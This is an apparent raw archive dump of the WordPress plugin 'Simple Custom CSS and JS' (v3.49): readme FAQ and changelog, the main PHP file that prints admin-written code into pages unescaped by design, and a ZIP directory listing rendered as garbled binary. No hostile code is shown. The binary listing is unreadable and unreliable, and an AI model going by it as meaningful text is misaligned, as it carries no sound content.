If you write multiple codes of the same type (for example: two external CSS codes), then all of them will be printed one after another

= Will this plugin affect the loading time? =
When you click the `Save` button the codes will be cached in files, so there are no tedious database queries.

= Does the plugin modify the code I write in the editor? =
No, the code is printed exactly as in the editor. It is not modified/checked/validated in any way. You take the full responsability for what is written in there.

= My code doesn't show on the website =
Try one of the following:
1. If you are using any caching plugin (like "W3 Total Cache" or "WP Fastest Cache"), then don't forget to delete the cache before seing the code printed on the website.
2. Make sure the code is in **Published** state (not **Draft** or **in Trash**).
3. Check if the `wp-content/uploads/custom-css-js` folder exists and is writable

= Does it work with a Multisite Network? =
Yes.

= What if I change the theme? =
The CSS and JS are independent of the theme and they will persist through a theme change. This is particularly useful if you apply CSS and JS for modifying a plugin's output. 

= Can I use a CSS preprocesor like LESS or Sass? =
For the moment only plain CSS is supported, but you can check out the [Pro version](https://www.silkypress.com/simple-custom-css-js-pro/?utm_source=wordpress&utm_campaign=ccj_free&utm_medium=banner) in case you need a CSS preprocessor.

= Can I upload images for use with my CSS? =
Yes. You can upload an image to your Media Library, then refer to it by its direct URL from within the CSS stylesheet. For example:
`div#content {
    background-image: url('http://example.com/wp-content/uploads/2015/12/image.jpg');
}`

= Can I use CSS rules like @import and @font-face? =
Yes.

= Who can publish/edit/delete Custom Codes? =
By default only the Administrator will be able to publish/edit/delete Custom Codes. On the plugin activation there is a role created called Web Designer. You can assign this role to a non-admin user in order to allow to publish/edit/delete Custom Codes. On the plugin's Settings page there is an option to remove this role. 

= My website has HTTPS urls, but the codes are linked as HTTP =
The URL for the linked Codes is built just like the URL for other media (from Media Library) by using the WordPress Address option found on the WP Admin -> Settings -> General page, as shown in [this screenshot](https://www.silkypress.com/wp-content/uploads/2016/12/ccj-siteurl.png). If the WordPress Address has HTTPS in the url, then the Custom Codes and all the other media will have HTTPS in the url. 


== Screenshots ==

1. Manage Custom Codes

2. Add/Edit Javascript

3. Add/Edit CSS

4. Add/Edit HTML 

== Changelog ==

= 3.49 =
* 11/13/2024
* Fix: add nuance for the "in Block editor" option for websites with WP before v6.6 and after

= 3.48 =
* 09/24/2024
* Feature: add JS/CSS custom codes to the Block editor

= 3.47 =
* 05/27/2024
* Fix: use the GMT time for showing when a custom code was published or modified

= 3.46 =
* 01/31/2024
* Tweak: update the Bootstrap and jQuery library links 
* Tweak: remove the qTranslate-x warning. The qTranslate-x plugin was removed from wp.org since Aug 2021

= 3.45 =
* 10/17/2023
* Fix: enqueue the jQuery library only if there is a frontend JS custom code that requires it 

= 3.44 =
* 06/07/2023
* Compatibility with the WooCommerce "custom order tables" feature

= 3.43 =
* 03/13/2023
* Fix: PHP8.1 deprecation notices
* Fix: after adding a JS/HTML custom code with empty content will show the CSS default message in the editor

= 3.42 =
* 01/17/2023
* Fix: the "LH Archived Post Status" plugin was removing the "Publish" button on the add/edit custom code page
* Feature: multiple values for the "Where in site" option

[See changelog for all versions](https://plugins.svn.wordpress.org/custom-css-js/trunk/changelog.txt).
PK     ]t]�z& *  *    custom-css-js.phpnu ÕIw¶´        <?php
/**
 * Plugin Name: Simple Custom CSS and JS
 * Plugin URI: https://wordpress.org/plugins/custom-css-js/
 * Description: Easily add Custom CSS or JS to your website with an awesome editor.
 * Version: 3.49
 * Author: SilkyPress.com
 * Author URI: https://www.silkypress.com
 * License: GPL2
 *
 * Text Domain: custom-css-js
 * Domain Path: /languages/
 *
 * WC requires at least: 3.0.0
 * WC tested up to: 9.7 
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

if ( ! class_exists( 'CustomCSSandJS' ) ) :
	/**
	 * Main CustomCSSandJS Class
	 *
	 * @class CustomCSSandJS
	 */
	final class CustomCSSandJS {

		public $search_tree         = false;
		protected static $_instance = null;
		private $settings           = array();


		/**
		 * Main CustomCSSandJS Instance
		 *
		 * Ensures only one instance of CustomCSSandJS is loaded or can be loaded
		 *
		 * @static
		 * @return CustomCSSandJS - Main instance
		 */
		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}
			return self::$_instance;
		}

		/**
		 * Cloning is forbidden.
		 */
		public function __clone() {
			_doing_it_wrong( __FUNCTION__, __( 'An error has occurred. Please reload the page and try again.' ), '1.0' );
		}

		/**
		 * Unserializing instances of this class is forbidden.
		 */
		public function __wakeup() {
			_doing_it_wrong( __FUNCTION__, __( 'An error has occurred. Please reload the page and try again.' ), '1.0' );
		}

		/**
		 * CustomCSSandJS Constructor
		 *
		 * @access public
		 */
		public function __construct() {

			include_once 'includes/admin-install.php';
			register_activation_hook( __FILE__, array( 'CustomCSSandJS_Install', 'install' ) );
			add_action( 'init', array( 'CustomCSSandJS_Install', 'register_post_type' ) );

			$this->set_constants();

			if ( is_admin() ) {
				add_action( 'init', array( $this, 'load_plugin_textdomain' ) );
				include_once 'includes/admin-screens.php';
				include_once 'includes/admin-config.php';
				include_once 'includes/admin-addons.php';
				include_once 'includes/admin-warnings.php';
				include_once 'includes/admin-notices.php';
			}

			$this->search_tree = get_option( 'custom-css-js-tree', array() );
			$this->settings    = get_option( 'ccj_settings', array() );
			if ( ! isset( $this->settings['remove_comments'] ) ) {
				$this->settings['remove_comments'] = false;
			}

			if ( ! $this->search_tree || count( $this->search_tree ) == 0 ) {
				return false;
			}

			if ( is_null( self::$_instance ) ) {
				$this->print_code_actions();
				if ( isset ( $this->search_tree['jquery'] ) && true === $this->search_tree['jquery'] ) {
					add_action( 'wp_enqueue_scripts', 'CustomCSSandJS::wp_enqueue_scripts' );
				}
			}
		}

		/**
		 * Add the appropriate wp actions
		 */
		public function print_code_actions() {
			foreach ( $this->search_tree as $_key => $_value ) {
				if ( strpos( $_key, 'block' ) !== false ) continue;

				$action = 'wp_';
				if ( strpos( $_key, 'admin' ) !== false ) {
					$action = 'admin_';
				}
				if ( strpos( $_key, 'login' ) !== false ) {
					$action = 'login_';
				}
				if ( strpos( $_key, 'header' ) !== false ) {
					$action .= 'head';
				} elseif ( strpos( $_key, 'body_open' ) !== false ) {
					$action .= 'body_open';
				} else {
					$action .= 'footer';
				}

				$priority = ( 'wp_footer' === $action ) ? 40 : 10;

				add_action( $action, array( $this, 'print_' . $_key ), $priority );
			}

			add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_block_editor_assets' ) );
		}

		/**
		 * Print the custom code.
		 */
		public function __call( $function, $args ) {

			if ( strpos( $function, 'print_' ) === false ) {
				return false;
			}

			$function = str_replace( 'print_', '', $function );

			if ( ! isset( $this->search_tree[ $function ] ) ) {
				return false;
			}

			$args = $this->search_tree[ $function ];

			if ( ! is_array( $args ) || count( $args ) == 0 ) {
				return false;
			}

			$where = strpos( $function, 'external' ) !== false ? 'external' : 'internal';
			$type  = strpos( $function, 'css' ) !== false ? 'css' : '';
			$type  = strpos( $function, 'js' ) !== false ? 'js' : $type;
			$type  = strpos( $function, 'html' ) !== false ? 'html' : $type;
			$tag   = array( 'css' => 'style', 'js' => 'script' );

			$type_attr = ( 'js' === $type && ! current_theme_supports( 'html5', 'script' ) ) ? ' type="text/javascript"' : '';
			$type_attr = ( 'css' === $type && ! current_theme_supports( 'html5', 'style' ) ) ? ' type="text/css"' : $type_attr;

			if ( ! apply_filters( 'ccj_default_url_protocol', false ) ) {
				$upload_url = str_replace( array( 'https://', 'http://' ), '//', CCJ_UPLOAD_URL ) . '/';
			}

			if ( 'internal' === $where ) {

				$before = $this->settings['remove_comments'] ? '' : '<!-- start Simple Custom CSS and JS -->' . PHP_EOL;
				$after  = $this->settings['remove_comments'] ? '' : '<!-- end Simple Custom CSS and JS -->' . PHP_EOL;

				if ( 'css' === $type || 'js' === $type ) {
					$before .= '<' . $tag[ $type ] . ' ' . $type_attr . '>' . PHP_EOL;
					$after   = '</' . $tag[ $type ] . '>' . PHP_EOL . $after;
				}

			}

			foreach ( $args as $_filename ) {

				if ( 'internal' ===  $where && ( strstr( $_filename, 'css' ) || strstr( $_filename, 'js' ) ) ) {
					if ( $this->settings['remove_comments'] || empty( $type_attr ) ) {
						$custom_code = @file_get_contents( CCJ_UPLOAD_DIR . '/' . $_filename );
						if ( $this->settings['remove_comments'] ) {
								$custom_code = str_replace( array( 
										'<!-- start Simple Custom CSS and JS -->' . PHP_EOL, 
										'<!-- end Simple Custom CSS and JS -->' . PHP_EOL 
								), '', $custom_code );
						}
						if ( empty( $type_attr ) ) {
							$custom_code = str_replace( array( ' type="text/javascript"', ' type="text/css"' ), '', $custom_code );
						}
						echo $custom_code;
					} else {
						echo @file_get_contents( CCJ_UPLOAD_DIR . '/' . $_filename );
					}
				}

				if ( 'internal' === $where && ! strstr( $_filename, 'css' ) && ! strstr( $_filename, 'js' ) ) {
					$post = get_post( $_filename );
					echo $before . $post->post_content . $after;
				}

				if ( 'external' === $where && 'js' === $type ) {
					echo PHP_EOL . "<script{$type_attr} src='{$upload_url}{$_filename}'></script>" . PHP_EOL;
				}

				if ( 'external' === $where && 'css' === $type ) {
					$shortfilename = preg_replace( '@\.css\?v=.*$@', '', $_filename );
					echo PHP_EOL . "<link rel='stylesheet' id='{$shortfilename}-css' href='{$upload_url}{$_filename}'{$type_attr} media='all' />" . PHP_EOL;
				}

				if ( 'external' === $where && 'html' === $type ) {
					$_filename = str_replace( '.html', '', $_filename );
					$post      = get_post( $_filename );
					echo $post->post_content . PHP_EOL;
				}
			}
		}


		/**
		 * Enqueue the jQuery library, if necessary
		 */
		public static function wp_enqueue_scripts() {
			wp_enqueue_script( 'jquery' );
		}


		/**
		 * Load the CSS/JS custom codes to the Block editor.
		 */
		function enqueue_block_editor_assets() {

			global $wp_version;

			if ( ! isset( $this->search_tree ) || ! is_array( $this->search_tree ) || count( $this->search_tree ) === 0 ) return;

			// Default values for the CCJ_codes variable.
			$CCJ_codes = [
				'internal' => [],
				'external' => [],
				'path' => CCJ_UPLOAD_URL . '/',
				'jquery' => false,
				'wp_version' => $wp_version, 
			];

			// Get the jQuery path.
			$suffix     = wp_scripts_get_suffix();
			$guessurl   = site_url();
			$guessurl   = ( ! $guessurl ) ? wp_guess_url() : $guessurl;
			$jquery_url = $guessurl . '/wp-includes/js/jquery/jquery' . $suffix . '.js';

			// Fill in the values for the CCJ_codes variable.
			foreach ( $this->search_tree as $_where => $_files ) {
				if ( strpos( $_where, 'html' ) !== false ) continue;
				if ( strpos( $_where, 'block' ) === false ) continue;
				if ( ! is_array( $_files ) || count( $_files ) === 0 ) continue;

				$type = ( strpos( $_where, 'internal' ) !== false ) ? 'internal' : 'external';

				// Add the 'internal' or 'external' file name to the array.
				$CCJ_codes[ $type ] = array_merge( $CCJ_codes[ $type ], $_files );

				// Should the jQuery library be loaded in the Block editor?
				$CCJ_codes['jquery'] = ( strpos( $_where, 'js' ) !== false ) ? $jquery_url : $CCJ_codes['jquery']; 
			}

			// Load the "ccj_block_editor.js" script.
			wp_register_script( 'ccj_block_editor', plugins_url( '/', CCJ_PLUGIN_FILE ) . 'assets/ccj_block_editor.js', [], CCJ_VERSION );
			wp_localize_script( 'ccj_block_editor', 'CCJ_codes', $CCJ_codes );
			wp_enqueue_script( 'ccj_block_editor' );
		}


		/**
		 * Set constants for later use
		 */
		public function set_constants() {
			$dir       = wp_upload_dir();
			$constants = array(
				'CCJ_VERSION'     => '3.49',
				'CCJ_UPLOAD_DIR'  => $dir['basedir'] . '/custom-css-js',
				'CCJ_UPLOAD_URL'  => $dir['baseurl'] . '/custom-css-js',
				'CCJ_PLUGIN_FILE' => __FILE__,
			);
			foreach ( $constants as $_key => $_value ) {
				if ( ! defined( $_key ) ) {
					define( $_key, $_value );
				}
			}
		}

		/**
		 * Loads a pluginâ€™s translated strings.
		 */
		public function load_plugin_textdomain() {
			load_plugin_textdomain( 'custom-css-js', false, plugin_basename( dirname( __FILE__ ) ) . '/languages' );
		}
	}

endif;

if ( ! function_exists( 'CustomCSSandJS' ) ) {
	/**
	 * Returns the main instance of CustomCSSandJS
	 *
	 * @return CustomCSSandJS
	 */
	function CustomCSSandJS() {
		return CustomCSSandJS::instance();
	}

	CustomCSSandJS();
}

if ( ! function_exists( 'custom_css_js_plugin_action_links' ) ) {
	/**
	 * Plugin action link to Settings page.
	 *
	 * @param array $links The settings links.
	 *
	 * @return array The settings links.
	 */
	function custom_css_js_plugin_action_links( $links ) {

		$settings_link = '<a href="edit.php?post_type=custom-css-js">' .
		esc_html( __( 'Settings', 'custom-css-js' ) ) . '</a>';

		return array_merge( array( $settings_link ), $links );

	}
	add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), 'custom_css_js_plugin_action_links' );
}

if ( ! function_exists( 'custom_css_js_quads_pro_compat' ) ) {
	/**
	 * Compatibility with the WP Quads Pro plugin,
	 * otherwise on a Custom Code save there is a
	 * "The link you followed has expired." page shown.
	 *
	 * @param array $post_types The Post types.
	 * @return array The Post types.
	 */
	function custom_css_js_quads_pro_compat( $post_types ) {
		$match = array_search( 'custom-css-js', $post_types, true );
		if ( $match ) {
			unset( $post_types[ $match ] );
		}
		return $post_types;
	}
	add_filter( 'quads_meta_box_post_types', 'custom_css_js_quads_pro_compat', 20 );
}

PK       ]t]$Ã�ü‘  ‘                  includes/admin-notices.phpnu ÕIw¶´        PK       ]t]À�ÊÕ»ß  »ß              Û  includes/admin-screens.phpnu ÕIw¶´        PK       ]t]Žìó“                àü  includes/admin-warnings.phpnu ÕIw¶´        PK       ]t]´Ü·çŽ  Ž              > includes/admin-install.phpnu ÕIw¶´        PK       ]t]÷§tp  p               includes/admin-addons.phpnu ÕIw¶´        PK       ]t]D{9Ø)  )              Ï3 includes/admin-config.phpnu ÕIw¶´        PK       ]t]Ã=pZ�.  �.              ] changelog.txtnu ÕIw¶´        PK       ]t]ßÂåŽ      $            Ø‹ assets/images/button-close-hover.pngnu ÕIw¶´        PK       ]t]èðÛUû  û              L’ assets/images/button-close.pngnu ÕIw¶´        PK       ]t]•¾8Çv  v              •˜ assets/tipsy.cssnu ÕIw¶´        PK       ]t]14¦‡)  ‡)              K¡ assets/ccj_admin.cssnu ÕIw¶´        PK       ]t]P®¤4  ¤4              Ë assets/ccj_admin.jsnu ÕIw¶´        PK       ]t]                        ýÿ assets/empty.cssnu ÕIw¶´        PK       ]t]5ÈíÀ  À              =  assets/ccj_block_editor.jsnu ÕIw¶´        PK       ]t]�ìC("  ("              G assets/ccj_admin-url_rules.jsnu ÕIw¶´        PK       ]t]œA ;&  ;&              ¼) assets/jquery.tipsy.jsnu ÕIw¶´        PK       ]t]€Âò·T  T  &            =P assets/codemirror/theme/3024-night.cssnu ÕIw¶´        PK       ]t]Gú/ÚC  C  (            çV assets/codemirror/lib/util/formatting.jsnu ÕIw¶´        PK       ]t]†�z¨Z~ Z~ #            ‚f assets/codemirror/lib/codemirror.jsnu ÕIw¶´        PK       ]t]m°U    $            /å assets/codemirror/lib/codemirror.cssnu ÕIw¶´        PK       ]t]·9úëË	  Ë	  0            �û assets/codemirror/addon/selection/active-line.jsnu ÕIw¶´        PK       ]t]Â(ª}  }  3            È assets/codemirror/addon/scroll/simplescrollbars.cssnu ÕIw¶´        PK       ]t]XÖ‰�    2            ¨
 assets/codemirror/addon/scroll/simplescrollbars.jsnu ÕIw¶´        PK       ]t]˜z¹'$  $  !            # assets/codemirror/addon/vote2.tplnu ÕIw¶´        PK       ]t]àPÙ  Ù  (            �; assets/codemirror/addon/search/search.jsnu ÕIw¶´        PK       ]t]±¥0ÆZ  Z  4            ÀT assets/codemirror/addon/search/matchesonscrollbar.jsnu ÕIw¶´        PK       ]t]•ÝLÉQ
  Q
  3            ~] assets/codemirror/addon/search/match-highlighter.jsnu ÕIw¶´        PK       ]t]Û@~        5            2h assets/codemirror/addon/search/matchesonscrollbar.cssnu ÕIw¶´        PK       ]t]kãýE  E  .            7i assets/codemirror/addon/search/jump-to-line.jsnu ÕIw¶´        PK       ]t]€xýŽ·  ·  .            Úm assets/codemirror/addon/search/searchcursor.jsnu ÕIw¶´        PK       ]t][ˆð6"#  "#  *            ï… assets/codemirror/addon/comment/comment.jsnu ÕIw¶´        PK       ]t]²KÃÏ#
  #
  -            k© assets/codemirror/addon/edit/matchbrackets.jsnu ÕIw¶´        PK       ]t]lØ=F4	  4	  )            ë³ assets/codemirror/addon/edit/matchtags.jsnu ÕIw¶´        PK       ]t]ùXÎŠ÷  ÷  -            x½ assets/codemirror/addon/edit/closebrackets.jsnu ÕIw¶´        PK       ]t]^°¬o  o  *            ÌØ assets/codemirror/addon/hint/show-hint.cssnu ÕIw¶´        PK       ]t]:û„6    (            •Û assets/codemirror/addon/hint/xml-hint.jsnu ÕIw¶´        PK       ]t]S|µ§%>  %>  )            lî assets/codemirror/addon/hint/show-hint.jsnu ÕIw¶´        PK       ]t]],å�  �  ,            ê, assets/codemirror/addon/hint/anyword-hint.jsnu ÕIw¶´        PK       ]t]’kFM,  M,  )            Ö3 assets/codemirror/addon/hint/html-hint.jsnu ÕIw¶´        PK       ]t]­U‹”%  %  /            |` assets/codemirror/addon/hint/javascript-hint.jsnu ÕIw¶´        PK       ]t][«	£u  u  (             z assets/codemirror/addon/hint/css-hint.jsnu ÕIw¶´        PK       ]t]BÅÃŽ  Ž  )            Í‚ assets/codemirror/addon/dialog/dialog.cssnu ÕIw¶´        PK       ]t]+DÙé‡  ‡  (            ´„ assets/codemirror/addon/dialog/dialog.jsnu ÕIw¶´        PK       ]t]dEd“£  £  *            “� assets/codemirror/addon/fold/foldgutter.jsnu ÕIw¶´        PK       ]t]"�Iqy  y  (            �£ assets/codemirror/addon/fold/foldcode.jsnu ÕIw¶´        PK       ]t]ÿ‹’E{  {  *            a· assets/codemirror/addon/fold/brace-fold.jsnu ÕIw¶´        PK       ]t]Ï™¼ÊŒ  Œ  +            6É assets/codemirror/addon/fold/indent-fold.jsnu ÕIw¶´        PK       ]t]—rù`,  ,  (            Ð assets/codemirror/addon/fold/xml-fold.jsnu ÕIw¶´        PK       ]t]ÉîÕRH  H  -            ¡ê assets/codemirror/addon/fold/markdown-fold.jsnu ÕIw¶´        PK       ]t]Ê$J³  ³  +            Fñ assets/codemirror/addon/fold/foldgutter.cssnu ÕIw¶´        PK       ]t]!½÷ÿt  t  ,            Tó assets/codemirror/addon/fold/comment-fold.jsnu ÕIw¶´        PK       ]t]G€O7F  F  -            $ü assets/codemirror/addon/display/fullscreen.jsnu ÕIw¶´        PK       ]t]'C:Z   Z   .            Çÿ assets/codemirror/addon/display/fullscreen.cssnu ÕIw¶´        PK       ]t]X4W—  —                assets/codemirror/LICENSEnu ÕIw¶´        PK       ]t]qµ9£í8  í8  /            _ assets/codemirror/mode/javascript/javascript.jsnu ÕIw¶´        PK       ]t]Ux¾Ûb  b  !            «> assets/codemirror/mode/xml/xml.jsnu ÕIw¶´        PK       ]t]9Ï¶»    -            ^U assets/codemirror/mode/htmlmixed/htmlmixed.jsnu ÕIw¶´        PK       ]t]N� SY  SY  !            Ú` assets/codemirror/mode/css/css.jsnu ÕIw¶´        PK       ]t]                        ~º assets/empty.jsnu ÕIw¶´        PK       ]t]�¶Q0]  ]              ½º assets/js.cookie.jsnu ÕIw¶´        PK       ]t]iØPC&6  &6               ]É languages/custom-css-js-pl_PL.ponu ÕIw¶´        PK       ]t]Á—W�¤  ¤               Óÿ languages/custom-css-js-pl_PL.monu ÕIw¶´        PK       ]t]ó|Iš                   Ç languages/custom-css-js-tr_TR.monu ÕIw¶´        PK       ]t](T3…[)  [)               5 languages/custom-css-js-fr_FR.monu ÕIw¶´        PK       ]t]²@/¡5  ¡5               Â^ languages/custom-css-js-tr_TR.ponu ÕIw¶´        PK       ]t]ÊÑB-  -              ³” languages/custom-css-js.potnu ÕIw¶´        PK       ]t]|õx>  >               Â languages/custom-css-js-fr_FR.ponu ÕIw¶´        PK       ]t]©ŸO    
            S 	 readme.txtnu ÕIw¶´        PK       ]t]�z& *  *              “	 custom-css-js.phpnu ÕIw¶´        PK    E E Ë  èA	 